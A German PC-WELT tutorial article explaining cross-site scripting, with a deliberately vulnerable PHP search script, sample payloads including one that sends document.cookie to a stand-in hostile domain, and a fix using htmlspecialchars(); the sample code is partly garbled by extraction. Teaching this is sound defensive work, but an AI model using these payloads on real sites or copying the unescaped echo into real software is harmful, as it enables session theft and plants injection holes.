02.01.2010, 10:20

Hans-Christian Dirscherl

Ratgeber Website-Sicherheit

Gefahr durch Cross Site Scripting XSS

Hinter dem Begriff XSS verbirgt sich das Cross Site Scripting. Da die Abkürzung CSS
schon belegt war, wurde aus dem Cross kurzerhand das X. Eine durchaus passende
Analogie, da beispielsweise in Amerika ein X auch als Symbol für Kreuzungen (Crossings)
verwendet wird.
Cross Site Scripting bedeutet, dass der böswillige Nutzer HTML- und JavaScript-Code einfügen kann, der das Layout stört oder gar Daten ausspioniert. Im Folgenden sehen Sie ein anfälliges Skript. Die Lücke besteht darin, dass der Suchbegriff nach der Suche ungefiltert im Skript ausgegeben wird:

<?php
//Die Suche
?>
transitional.dtd">

<head>
<title>XSS-Demonstration</title>


<body>


value="Suchen" />

<?php
if (isset($_POST['suche'])) {
echo '<p>Sie haben nach ' . $_POST['suche'] . ' gesucht!</p>';
}
?>

Tippen Sie einfach mal im Browser HTML-Code in das Suchfeld ein, beispielsweise
eine horizontale Linie:



Auch wenn Sie Werte in das value-Attribut von Textfeldern oder in andere HTML-Attribute ungefiltert ausgeben, gibt es eine potenzielle XSS-Lücke. Der Angreifer muss nur zuerst Anführungszeichen und Tag schließen, um eigene Tags einzufügen:
">
In der nebenstehenden Abbildung ehen Sie das Ergebnis. Eine horizontale Linie taucht mitten im Layout auf. Nun ist eine Linie natürlich nicht so schlimm, zehn wären schon ärgerlicher und

würde alles Nachfolgende ausblenden. Noch gefährlicher als reine HTML-Attacken sind Angriffe mit JavaScript: <script>alert("Angriff per XSS");

Neben dem Öffnen eines Fensters kann der Angreifer den Nutzer auch auf eine andere Domain umleiten. Dies ist ein Ansatz zum sogenannten Phishing. <script>location.href = "http://www.boesedomain.xy";
Bis jetzt hat das Skript zwar eine Lücke, ist aber nicht richtig gefährlich, denn der HTML- und JavaScript-Code wird nur dem böswilligen Nutzer selbst angezeigt, da er ihn eingegeben hat. Unangenehm ist es dagegen, wenn die Inhalte gespeichert und jedem Nutzer gezeigt werden. Bei unserer Suche könnten beispielsweise die Top-Ten-Suchergebnisse in einer Datenbank gespeichert und wieder ausgegeben werden. Damit erhält der Hacker beispielsweise die Werte der Cookies, wenn er folgenden Code einschleust:
<script>
location.href = "http://www.boesedomain.xy/skript.php?c=" + escape(document.cookie);


Natürlich gibt es noch trickreichere Alternativen. Beispielsweise lässt sich über AJAX die Information in bestimmten Szenarien auch völlig unbemerkt verschicken. Außerdem tauchen natürlich täglich neue Wege auf, XSS gekonnt zu platzieren.
Gegenmaßnahme

Die beste Gegenmaßnahme gegen Cross Site Scripting besteht darin, die Nutzereingaben zu escapen, bevor sie wieder ausgegeben werden. PHP verwendet hier standardmäßig »magic quotes«2, filtert also Anführungszeichen und entwertet sie. Allerdings sind damit nicht die HTML-Möglichkeiten und auch nicht alle JavaScript-Angriffe beseitigt.
Dies geht nur über weitergehende Filterung. In PHP können Sie dazu beispielsweise die Funktion htmlspecialchars() verwenden, die Elemente in HTML-Sonderzeichen umwandelt. echo '<p>Sie haben nach ' . htmlspecialchars($_POST['suche']) . ' gesucht!</p>';
Lesen Sie auf der nächsten Seite:
Diskutieren Sie mit anderen Lesern über dieses Thema:
PC-WELT-Experten lösen Ihr PC-Problem
Immer informiert mit dem PC-WELT Newsletter
Best-of PC-WELT   PC-WELT Apps
PC-WELT Business-IT   PC-WELT Community
Facebook-Freunde empfehlen
3x PC-WELT testen!
Ja, ich teste 3x die PC-WELT mit DVD für nur 11,90 € (19,- Sfr). Den 4 GB USB-Stick erhalte ich gratis dazu.
PC-WELT 6/ 2012
Anrede:
Vorname:
Nachname:
Straße/Nr:
PLZ/Ort:
Land:
E-Mail:
Nur wenn ich innerhalb von 2 Wochen nach Erhalt der 3. Ausgabe nichts von mir hören lasse, möchte ich die PC-WELT mit DVD zum gleichen Preis weiterbeziehen (D: 55,80 €/Jahr, EU: 64,80 €/Jahr, CH: 103,70 Sfr/Jahr). Nach dem Testzeitraum ist der Bezug jederzeit kündbar.
Ich bin damit einverstanden, dass die IDG Tech Media GmbH und ihre Partner mich per E-Mail über interessante Vorteilsangebote informieren.
- Anzeige -
Angebote für PC-WELT-Leser

PC-WELT Verleihshop
Keine Abogebühren oder unnötige Vertragsbindungen. DVDs und Spiele bequem von zu Hause aus leihen.

Tarifrechner
Der PC-WELT Preisvergleich für Strom, Gas und DSL. Hier können Sie Tarife vergleichen und bequem viel Geld sparen.

PC-WELT Preisvergleich
In unserem großen Preisvergleich finden Sie die günstigsten Preise und alle redaktionellen Tests auf einen Blick.

- Anzeige -
Marktplatz
DELL

Dell Vostro 3550 Business Notebook
Komfort eines erweiterten Arbeitsbereichs, ohne mobile Anforderungen zu beeinträchtigen.

Congstar

congstar Full Flat nur noch 39,99€
Endlos in alle dt. Netze telefonieren, beste D-Netz-Qualität.

Congstar

Der günstige Tarif für Vielsurfer
congstar Smart 100. Surfen und telefonieren im besten D-Netz.

CosmosDirekt

CosmosDirekt Riesterrente
Mit der Riester-Rente privat mit hohen staatlichen Zulagen fürs Alter vorsorgen.

237459
Content Management by InterRed